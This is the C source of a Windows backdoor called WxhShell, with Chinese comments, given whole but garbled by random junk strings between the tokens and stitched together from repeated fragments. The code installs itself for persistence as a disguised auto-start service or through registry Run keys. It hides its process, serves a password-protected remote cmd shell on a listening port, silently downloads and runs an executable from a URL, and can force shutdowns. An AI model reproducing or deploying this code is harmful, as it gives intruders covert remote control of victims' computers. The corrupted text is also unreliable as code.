: } PROCESS_BASIC_INFORMATION; # P18vK5 vy6NH5Q PROCNTQSIP NtQueryInformationProcess; >0B[ 5v!Uec'+ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KmpX^Se[ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NS<lmWx+ V/J[~mN9 HANDLE hProcess; 5+giT5K*h PROCESS_BASIC_INFORMATION pbi; A#LK2II^ %%klR{ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;/>~|@ if(NULL == hInst ) return 0; G2rxr SO8Ej)m g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Po9 3&qE g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $;"@;Lj%, NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v"y
e\ZG tWL9>7]G if (!NtQueryInformationProcess) return 0; U#@:"v| Q y$8!( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >aN@)=h} if(!hProcess) return 0; u [fQvdl Cg8{NNeD if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Oj~k 1+* @q[-,EA9 CloseHandle(hProcess); KiH#*u S gO_^{>2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R0-ARq#0< if(hProcess==NULL) return 0; P4Wd=Xoz6 (47jop0RDQ HMODULE hMod; jAN(r>zVL char procName[255]; hq(3%- 7& unsigned long cbNeeded; V ;"?='vVe <P$b$fh/ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -&@[]/ (|h<{ -L CloseHandle(hProcess); CA[k$Sw* q{n~s= if(strstr(procName,"services")) return 1; // 以服务启动 hTH"jAC+ >-EoE;s return 0; // 注册表启动 DlfXzKn; } W >;AMun SJIJV6}H // 主模块 $(#o)r>_R int StartWxhshell(LPSTR lpCmdLine) T|ZT&x$z { aN%t>*?Xa SOCKET wsl; /.7x[Yc BOOL val=TRUE; #q(BR{A>t
int port=0; 6L'cD1pu struct sockaddr_in door; :8yrtbf$ Kxh)'aal if(wscfg.ws_autoins) Install(); ,&z_ 2m ,7>_Lp_v port=atoi(lpCmdLine); _mA[^G=gY K31Fp;K if(port<=0) port=wscfg.ws_port; FSc730rM P^VV8Z>\& WSADATA data; HgduH::\# if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "c1vW<; %D e<H* if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \'BKI; setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qd!$ nr door.sin_family = AF_INET; .E[k}{k, door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;2#H M^Mu door.sin_port = htons(port); ax'Dp{Q LTBqXh if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3_vggK% closesocket(wsl); >(:KEA return 1; khc5h^0 } x\I9J4Q h,
+2Mc< if(listen(wsl,2) == INVALID_SOCKET) { mY dU`j closesocket(wsl); G4=%<+ return 1; cf@:rHB} } h#;fBQ]
Wxhshell(wsl); 7-6_`Q2}Y WSACleanup();
E2!;W8M }^)M)8zS return 0; !\+SE"ml &..'7 } /ExnW >wT `'+[Y;s_ // 以NT服务方式启动 tdZ: w VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [4PG_k[uTJ { vnXpC!1 DWORD status = 0; XW5r@:e DWORD specificError = 0xfffffff; mbJ#-^}V VEE:Z^U! serviceStatus.dwServiceType = SERVICE_WIN32; PyzWpf serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9.SPxd~
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pz.<5 serviceStatus.dwWin32ExitCode = 0; (p^q3\ serviceStatus.dwServiceSpecificExitCode = 0; e,:@c3I serviceStatus.dwCheckPoint = 0; {#Mz4s`M serviceStatus.dwWaitHint = 0; 5x4(5c5^ 8%vk"h:u: hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JF24~Q4P if (hServiceStatusHandle==0) return; J|,| *t yBs status = GetLastError(); Il*wVNrZI if (status!=NO_ERROR) VGq2ITg9eE { |CStw"Fog serviceStatus.dwCurrentState = SERVICE_STOPPED; d=H C;T) serviceStatus.dwCheckPoint = 0; i#(T?=VPcy serviceStatus.dwWaitHint = 0; (fY (- serviceStatus.dwWin32ExitCode = status; LT:KZ|U9 serviceStatus.dwServiceSpecificExitCode = specificError;
7&l SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Oe@0L%^3" return; t4F 1[P } B>|@XfPM ]#+fQR$! serviceStatus.dwCurrentState = SERVICE_RUNNING; 3 T&m serviceStatus.dwCheckPoint = 0; 0o(/%31] serviceStatus.dwWaitHint = 0; QJ>+!p* if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g0_8:Gs}^ } jNrGsIY$ j/dNRleab // 处理NT服务事件,比如:启动、停止 AGPZd9 VOID WINAPI NTServiceHandler(DWORD fdwControl) !3?HpR/nV { YuLW]Q?v switch(fdwControl) Eh8.S)E { j
YO# case SERVICE_CONTROL_STOP: v3.JG]zLpP serviceStatus.dwWin32ExitCode = 0; eUx|_*` serviceStatus.dwCurrentState = SERVICE_STOPPED; Y~fds#y0 serviceStatus.dwCheckPoint = 0; S(9fGh serviceStatus.dwWaitHint = 0; !63x^# kg { 9J0m SetServiceStatus(hServiceStatusHandle, &serviceStatus); U,aV{qz } au0)yg*V1 return; viY _Y.Yjy case SERVICE_CONTROL_PAUSE: :;)K>g,b serviceStatus.dwCurrentState = SERVICE_PAUSED; RUSBJsMB break; :2K0/@<x case SERVICE_CONTROL_CONTINUE: Z`q?p E>R serviceStatus.dwCurrentState = SERVICE_RUNNING; @/B&R^aVZ break; b.;F)( case SERVICE_CONTROL_INTERROGATE: &YqgMC break; %3'80u6BCJ }; e"[o2=v;5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); V
mKMj' } n#bC, TJ2$
Z // 标准应用程序主函数 3 LoB-4u? int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W}a&L { ndW??wiM z9'ME // 获取操作系统版本 |;Jcf3e( OsIsNt=GetOsVer(); <E!M<!h GetModuleFileName(NULL,ExeFile,MAX_PATH); ?
vk;b! 3QU<vdtr // 从命令行安装 O62H4oT if(strpbrk(lpCmdLine,"iI")) Install(); V.\do"m ?5jkb // 下载执行文件 OpUC98p?@ if(wscfg.ws_downexe) { trtI^^/% if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |brl<*: WinExec(wscfg.ws_filenam,SW_HIDE); tE=P9 \4 } 6\/C]![% 1i#M(u_ if(!OsIsNt) { m7g; psg // 如果时win9x,隐藏进程并且设置为注册表启动 E3;[*ve HideProc(); wM_k D StartWxhshell(lpCmdLine); U]d{hY." } LF{d'jJ&K else NFU 5+X-c if(StartFromService()) LIirOf~e;! // 以服务方式启动 qmv%N StartServiceCtrlDispatcher(DispatchTable); 9.D'! else YYZE-{ % // 普通方式启动 cZ%weQa#N) StartWxhshell(lpCmdLine); =<n+AqJ% *siS4RX2 return 0; |*i0h`a } 7`|$uIM` $Rd74;edn *|a_(bQ4@ yA
\C3r' =========================================== a
0Hzf pRc@0^G $IUT5Gia` yzgDdAM NuLQkf) Y!Wz7
C " Mw*R~OX /mo4Q?^ #include <stdio.h> (9{)4[3MAG #include <string.h> &v'e;W #include <windows.h> V)f/umT%g #include <winsock2.h> +tES:3Pi #include <winsvc.h> =Y?M#3P.I #include <urlmon.h> [8(e`6xePb ~4`LOROC
#pragma comment (lib, "Ws2_32.lib") -*M/,O #pragma comment (lib, "urlmon.lib") A +e
={-* K
p~x #define MAX_USER 100 // 最大客户端连接数 {ajaM'x #define BUF_SOCK 200 // sock buffer BXnSkT7 #define KEY_BUFF 255 // 输入 buffer oV&AJ=|\ vp{jh-& #define REBOOT 0 // 重启 jDqe)uVvtV #define SHUTDOWN 1 // 关机 Vf`1'GY .FtW$Y~y #define DEF_PORT 5000 // 监听端口 /RIvUC1 cAC]%~orx #define REG_LEN 16 // 注册表键长度 Z)~.OqRw] #define SVC_LEN 80 // NT服务名长度 &C`t(e AQDT6E: // 从dll定义API wm=!tx\`k typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =3_I;Lw typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y.=ur,Nd typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _qR1M):yJ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j7?53e F%UyFUz // wxhshell配置信息 N~=p+Ow[H struct WSCFG { ts<5%{M( int ws_port; // 监听端口 C C;T[b& char ws_passstr[REG_LEN]; // 口令 c0sU1:e0 int ws_autoins; // 安装标记, 1=yes 0=no C1:efa<wV char ws_regname[REG_LEN]; // 注册表键名 k id3@ char ws_svcname[REG_LEN]; // 服务名 ' jf$3 char ws_svcdisp[SVC_LEN]; // 服务显示名 C{`+h163\ char ws_svcdesc[SVC_LEN]; // 服务描述信息 )[.FUx char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \25Rq/&w int ws_downexe; // 下载执行标记, 1=yes 0=no T<=Ci?C
v char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d OQU#5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U7bbJ>U_| m}54yo }; "7(2m %AwR 4"M // default Wxhshell configuration suC] struct WSCFG wscfg={DEF_PORT, _VLc1svv "xuhuanlingzhe", Eaf6rjD 1, H~Xi;[{7 "Wxhshell", F*_g3K!! "Wxhshell", xc7Wk&{= "WxhShell Service", wR@&C\}9 "Wrsky Windows CmdShell Service", 8J-$+ ; "Please Input Your Password: ", :G=N|3 1, 0,a\vs%@X "http://www.wrsky.com/wxhshell.exe", 9D#"Ey "Wxhshell.exe" Rf||(KC< }; 7s+3^' +&6R(7XC // 消息定义模块 A>8"8=C char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2Z;wU] char *msg_ws_prompt="\n\r? for help\n\r#>"; _Q_"_*e char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xE`uFHuS} char *msg_ws_ext="\n\rExit."; u(iEuF;7 char *msg_ws_end="\n\rQuit."; H`odQkZ! char *msg_ws_boot="\n\rReboot..."; %C^U?m` char *msg_ws_poff="\n\rShutdown..."; d:cs8f4> char *msg_ws_down="\n\rSave to "; ;.>CDt-E] q,w8ca4~y char *msg_ws_err="\n\rErr!"; r`Y[XzT9 char *msg_ws_ok="\n\rOK!"; M S$^m2 FW~%xUSE5 char ExeFile[MAX_PATH]; $9k7A 8K int nUser = 0; 1Tz5tU9kR HANDLE handles[MAX_USER]; p_pI=_: int OsIsNt; ?WyL|;b* wQ]!Y?I SERVICE_STATUS serviceStatus; |3j'HN5S SERVICE_STATUS_HANDLE hServiceStatusHandle; \0?^%CD+@ |)`<D // 函数声明 MHar9)$} int Install(void); cBs:7Pnp% int Uninstall(void); COvcR.*0F int DownloadFile(char *sURL, SOCKET wsh); }q7rR:g int Boot(int flag); ;;#28nV void HideProc(void); Y%eFXYk. int GetOsVer(void); fn(<
<FA) int Wxhshell(SOCKET wsl); @Cg%7AF void TalkWithClient(void *cs); Z7>pz:, int CmdShell(SOCKET sock); AWsy9 int StartFromService(void); >1u!(-A int StartWxhshell(LPSTR lpCmdLine); tl5}#uJ Qa-]IKOs VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^'9:n\SKQ VOID WINAPI NTServiceHandler( DWORD fdwControl ); !ZlBM{C Jm0o[4 // 数据结构和表定义 .hO) R. SERVICE_TABLE_ENTRY DispatchTable[] = /E8{:>2 { Jse;@K5y {wscfg.ws_svcname, NTServiceMain}, CEbZj
z| {NULL, NULL} aly1=j }; ^~\cx75D >.'rN>B+ // 自我安装 Ldqn<wNnI int Install(void) =*<Cw?Gc { Xo^P=uf% char svExeFile[MAX_PATH]; 7:iTx;,v HKEY key; _gDEIoBp strcpy(svExeFile,ExeFile); `P/7Mf |Rk9W // 如果是win9x系统,修改注册表设为自启动 Z{&dzc if(!OsIsNt) { vw(X9xa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,c }R*\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )*6]m1 RegCloseKey(key); od\-o:bS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a;@G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
J" :R,w` RegCloseKey(key); N1dv}!/*.+ return 0; C(/{53G( } m+&)eQ: } ~\HGV+S!g} } N_<wiwI< else { bp"@vlv pHO,][VZ // 如果是NT以上系统,安装为系统服务 pYXusS7S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^&^~LKl~ if (schSCManager!=0) >|[ l?` { W:5,zFW SC_HANDLE schService = CreateService N`o[iHUj \ ( V+04X" schSCManager, vSyR%
j wscfg.ws_svcname, YS$42J_T wscfg.ws_svcdisp, &?[uY5Mk SERVICE_ALL_ACCESS, <WPLjgtn3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b{X,0a{* SERVICE_AUTO_START, _4+'@u
# SERVICE_ERROR_NORMAL, ,e]|[,r#5 svExeFile, J9buf}C[ NULL, _6O\*|'6 NULL, c_p7vvI&c0 NULL, 60R Yw9d%0 NULL, Ep
} {m<8c NULL ^)wTCkH&y ); ONr}{T%@/ if (schService!=0) PRTn~!Z0 { ePD~SO9* CloseServiceHandle(schService); '+8`3[' CloseServiceHandle(schSCManager); 4n}tDHvd strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <,:p?36 strcat(svExeFile,wscfg.ws_svcname); "CH3\O\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L_ &` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^}VAH#c RegCloseKey(key); p h5rS< return 0; CN(}0/ } [9c|!w^F } c}$C=s5 h} CloseServiceHandle(schSCManager); l:'\3-2a } a%FM)/oI|T } 0-VC$)S E$8D^Zt return 1; r:xbs0
7 } cJ^:b4j JJE3\
// 自我卸载 T ?HG}(2 int Uninstall(void) q`u ^ sc { Ja`xG{~Y7i HKEY key; #gQaNc? h!yI(cY if(!OsIsNt) { 2*[Gm e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $27QY RegDeleteValue(key,wscfg.ws_regname); N?Nu' RegCloseKey(key); ;1gWz
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8?
U!PW RegDeleteValue(key,wscfg.ws_regname); 4Y.o RB RegCloseKey(key); _{k-&I return 0; n^xB_DJ~ } wr`+xYuuC= } kiP-^Wan } ,SVl>~! else { q$ZmR]p &N+i3l6` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eI #b%h if (schSCManager!=0) He1hgJ)N { VMZUJ2Yj/& SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <meQ if (schService!=0) p#QR^|7" { #'qDNY@ w} if(DeleteService(schService)!=0) { 7]J7'!Iz CloseServiceHandle(schService); $URL7hrhU CloseServiceHandle(schSCManager); LA9'HC(5 return 0; $eSSW+8q" } To!`
T$Xh CloseServiceHandle(schService); g##yR/L } QT<\E`v CloseServiceHandle(schSCManager); f6$$e+ } \OlB(%E7 } 9CNeMoA$p: Droa1_FX return 1; `|2p1Ei } zKllwIfi 9!>Ks8'.d // 从指定url下载文件 \GP0FdpV int DownloadFile(char *sURL, SOCKET wsh) .{8?eze[m { ey/=\@[p HRESULT hr; N"zg)MsX char seps[]= "/"; r`OC5IoQ char *token; ~c\iBk char *file; 3!*qB-d char myURL[MAX_PATH]; L8{4>, char myFILE[MAX_PATH]; .Xcf*$.;s RF|r@/S strcpy(myURL,sURL); %s;=H)8 token=strtok(myURL,seps); wV{jJyRl while(token!=NULL) ;i>(r;ZM { @?/> $ file=token; =cwdl7N&I token=strtok(NULL,seps); ~:xR0dqx } `=.A])> k>V~iA GetCurrentDirectory(MAX_PATH,myFILE); .Z9{\tj strcat(myFILE, "\\"); 0Z&ua strcat(myFILE, file); j0.E!8Ae{ send(wsh,myFILE,strlen(myFILE),0); G^W'mV$xl send(wsh,"...",3,0); t4H*&U hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Co^^rd@ if(hr==S_OK) %Mxc"% w return 0; m2x=Qv][@c else p`=v$_]?( return 1; 9Z^\b)x &VdKL2 } QP~Iz*J' E
5N9.th // 系统电源模块 =#.qe= int Boot(int flag) xO0}A1t
Wd { LUfo@R HANDLE hToken; 6-t:eo9 TOKEN_PRIVILEGES tkp; 9H%dK^C OBEHUJ5 if(OsIsNt) { o
@(.4+2m OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
m.b}A'GT LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \<kQ::o1y tkp.PrivilegeCount = 1; dml,|k= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >ca w
: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Lyy:G9OV if(flag==REBOOT) { Nq>"vEq) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zk^uS # return 0; +zINnX } 3T)_(SM" else { h}n?4B~Gi if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ["~T)d' return 0; 3'xmq } [;LP6n7v } }c@duf-l else { dUc([& if(flag==REBOOT) { N${Wh|__^l if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h~-cnAMt return 0; |FP@NUX\ } Cb
i;CF\{ else { k*e$_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]uZaj?%J< return 0; Dk#4^`qp1 } pdq5EUdS } SpA-E/el *OU&`\bmE return 1; fI"OzIJV } VxqoE]Dh +&*Ybbhb // win9x进程隐藏模块 yP*oRV%uX void HideProc(void) )n{9*{Ch { hnTk)nq5# |576) HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,UATT]> if ( hKernel != NULL ) iNG =x { V:h3F7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g..&x]aS( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qE@H~& FreeLibrary(hKernel); #``Alh8 } g=Bge) 1{$=N2U return; eQ80Kf~ } !vGJ7 _M)J{ {?: // 获取操作系统版本 /=gU int GetOsVer(void) ,c6c=di { ;9)A+bD] OSVERSIONINFO winfo; j%ux,0Y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z *~rd2 GetVersionEx(&winfo); +OeoA{-W if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C%q]o return 1; 4O>0gK{w else Z,:}H6Mj9 return 0; #]}]ZE } B]wfDUG dz,4);Mg // 客户端句柄模块 39oI
&D>8 int Wxhshell(SOCKET wsl) `(&GLv[i^2 { / 0y5/ SOCKET wsh; a'|/=$
struct sockaddr_in client; n|Gw?@CU7 DWORD myID; &]jCoBj+_ w|(
ix;pK while(nUser<MAX_USER) .,&6 x. { IiZXIG4H int nSize=sizeof(client); *zl-R*bM$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >fx/TSql:J if(wsh==INVALID_SOCKET) return 1; 9HG" }CGZP nV>=n,+s" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0ra+MQBg if(handles[nUser]==0) I7?s+vyds closesocket(wsh); s&D>'J else 4R28S]Gb nUser++; B/gI~e0 } :r+F95e WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J 7]LMw7 K?gO]T{6 return 0; Z/+H } 22gh,e2o 6bd{3@ // 关闭 socket N7#,x9+E void CloseIt(SOCKET wsh) yq,%<%+ { U{ZKxE closesocket(wsh); }ZkGH}K_} nUser--; 7f\/cS^ ExitThread(0); o>MB8[r } '$y.`/$ QR(j7>+J^ // 客户端请求句柄 <~P([5 void TalkWithClient(void *cs) 3Ss)i7 { ,Lr}P G4QsR7 SOCKET wsh=(SOCKET)cs; 'tMS5d)4: char pwd[SVC_LEN]; 1)!?,O\ey char cmd[KEY_BUFF]; n$E'+kox char chr[1]; 17S<6j#H5 int i,j; ?X3uPj9if (F'?c1 while (nUser < MAX_USER) { 6;p"xC- *#c^.4$' if(wscfg.ws_passstr) { M(#]NTr ~4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YnW,6U['{g //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eDL0Vw //ZeroMemory(pwd,KEY_BUFF); g#r,u5<*? i=0; {IT;g9x while(i<SVC_LEN) { 31{)~8 C)|#z/" // 设置超时 KJCi4O& fd_set FdRead; ?jHu, struct timeval TimeOut; v.{I^= FD_ZERO(&FdRead); uV\~2#o$_ FD_SET(wsh,&FdRead); f\c%G=y TimeOut.tv_sec=8; b_GAK TimeOut.tv_usec=0; '[Z.\ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b*dEX%H8sf if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Lo
uYY:Q Qvm[2mb if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p0@l581 pwd=chr[0]; {^6<Ohe4j if(chr[0]==0xd || chr[0]==0xa) { _v +At;Y pwd=0; a.B<W9$` break; {z*`*
O@ } 8Lh[>|~= i++; -< }#ImTN } jU_#-<'r L;'C5#GN // 如果是非法用户,关闭 socket ?v$1Fc55 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [A46WF>L } [K#pU:lTH @2R+?2 j send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4KZ)`KPE send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &8@
a" c%x.cbu> while(1) { y3!#*NU mFJb9, ZeroMemory(cmd,KEY_BUFF); :B1a2Y^" 0=c:O // 自动支持客户端 telnet标准 2hFj+Ay j=0; /V
f L( while(j<KEY_BUFF) { }W$}blbp if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xT;j_'9U; cmd[j]=chr[0]; .R{+Pz D if(chr[0]==0xa || chr[0]==0xd) { Aj "SSX!L cmd[j]=0; 15wwu} X break; xqLIs:* }
UVaz,bXla j++; 0uO<7IW9 } -`d(>ok zR_yxs' // 下载文件 O`FuXB(t if(strstr(cmd,"http://")) { AW/)R"+ send(wsh,msg_ws_down,strlen(msg_ws_down),0); "7_qB8\ if(DownloadFile(cmd,wsh)) %a$Fsn send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'QxPQcU else 5HMDug;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jW0aIS2O } ^9xsbv
B0 else { kH>^3(Q\ +d/^0^(D\5 switch(cmd[0]) { \X0wr%I b%M|R%)] // 帮助 [Se0+\,& case '?': { 8!VFb+ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jG~UyzWH; break; V'XvwO@ } J&jig?t // 安装 aFV d}RO0 case 'i': { >? ({ if(Install()) W.VyH|? send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Ik@L, else X^ZUm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i"U<=~ break; XIJ{qrDr } P'q ._U // 卸载 `8N],X case 'r': { <|_b: if(Uninstall()) :z} send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7COJ.rA else Mv^G%zg2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?jRyw(Q break; ?UV^6 } J t,7S4JL // 显示 wxhshell 所在路径 rCFTch" case 'p': { x:WxEw>R char svExeFile[MAX_PATH]; +jpC%o}C strcpy(svExeFile,"\n\r"); Q W1d&Gb.( strcat(svExeFile,ExeFile); b=j]tb, send(wsh,svExeFile,strlen(svExeFile),0); O.~@V(7ah break; d*TpHLm } m1(cN%DBd // 重启 7]6HXR @ case 'b': { M/^kita send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %Lwd1'C% if(Boot(REBOOT)) JdW:%,sv send(wsh,msg_ws_err,strlen(msg_ws_err),0); 60St99@O else { Ro oem dCM closesocket(wsh); kVu-,OU ExitThread(0); Nd.Tda!Kg } 1WMwTBHy+ break; s(Tgv } x#s=eeP1 // 关机 VIjsz42C case 'd': { 58 Rmq/6s send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W9ewj:4\0 if(Boot(SHUTDOWN)) sCF7K=a send(wsh,msg_ws_err,strlen(msg_ws_err),0); xr\wOQ*` else { @YfCS8
eH closesocket(wsh); Cq, hzi- ExitThread(0); >4} 2~; } WxFrqUz break; #Zy-X_r } r`T(xJ!) // 获取shell ET7(n0*P}] case 's': { ,Cckp! 6 CmdShell(wsh); wf8GH}2A closesocket(wsh); `X7ns? ExitThread(0); M1f^Lx break; StuDtY } \PB ~6 // 退出 044*@a5f case 'x': { [ZP8[Zl'? send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zu
Jl #3YP CloseIt(wsh); `+(|$?C u break; GL_a`.=@ } .h8%zB#|i // 离开
iEf6oM case 'q': { Eb<iR)e H= send(wsh,msg_ws_end,strlen(msg_ws_end),0); Sh_ =dzM closesocket(wsh); G;%Pf9o26 WSACleanup(); =Xc[EUi<;g exit(1); U-#t&yjh# break; O}!L;? } y'<juaw } 3=r8kh7, } n_n0Q}du hC.7Z] // 提示信息 J0U9zI4 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +{j? +4(B } 43;@m}|7$ } _r}oYs%1 @: ~O return; f*g>~! } t?0D* !D '`Smg3T!~S // shell模块句柄 {t$
vsR int CmdShell(SOCKET sock) Odr@9MJ { y/m^G=Q6g# STARTUPINFO si; |Aw(v6 ZeroMemory(&si,sizeof(si)); ,Jf)A/_ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o2 5kFD si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x hFQjV?V PROCESS_INFORMATION ProcessInfo; *My? l75 char cmdline[]="cmd"; u|=G#y;3 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eYurg6Ob~ return 0; q)ygSOtj } L30x2\C KsGS s9 // 自身启动模式 .d5|Fs~B int StartFromService(void) gno V>ON0 { W.ud<OKP90 typedef struct +OF(CcA^ { zJ#e3o . DWORD ExitStatus; 7"r7F#D=G DWORD PebBaseAddress; EO,;^RtB DWORD AffinityMask; A`7uw|uO$ DWORD BasePriority; 'r%`(Z{~ ULONG UniqueProcessId; N1KYV&'o ULONG InheritedFromUniqueProcessId; SPIYB/C } PROCESS_BASIC_INFORMATION; >qjr7 vx #(jozl_8 PROCNTQSIP NtQueryInformationProcess; \>j._# t$h +0=u] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EvMhNq~y5 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Oah}7!a) S zOB{ HANDLE hProcess; }}?L'Vby PROCESS_BASIC_INFORMATION pbi; A>$VkGo i_ 4FxC4 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ML0o:8Bd\ if(NULL == hInst ) return 0; e:V(kzAY; ^\cB&<h g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <> f g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M%:ACLYP NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '
%OQd?MhL } VE[W if (!NtQueryInformationProcess) return 0; `"M=Z Vk A==P?,RG hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >#R< |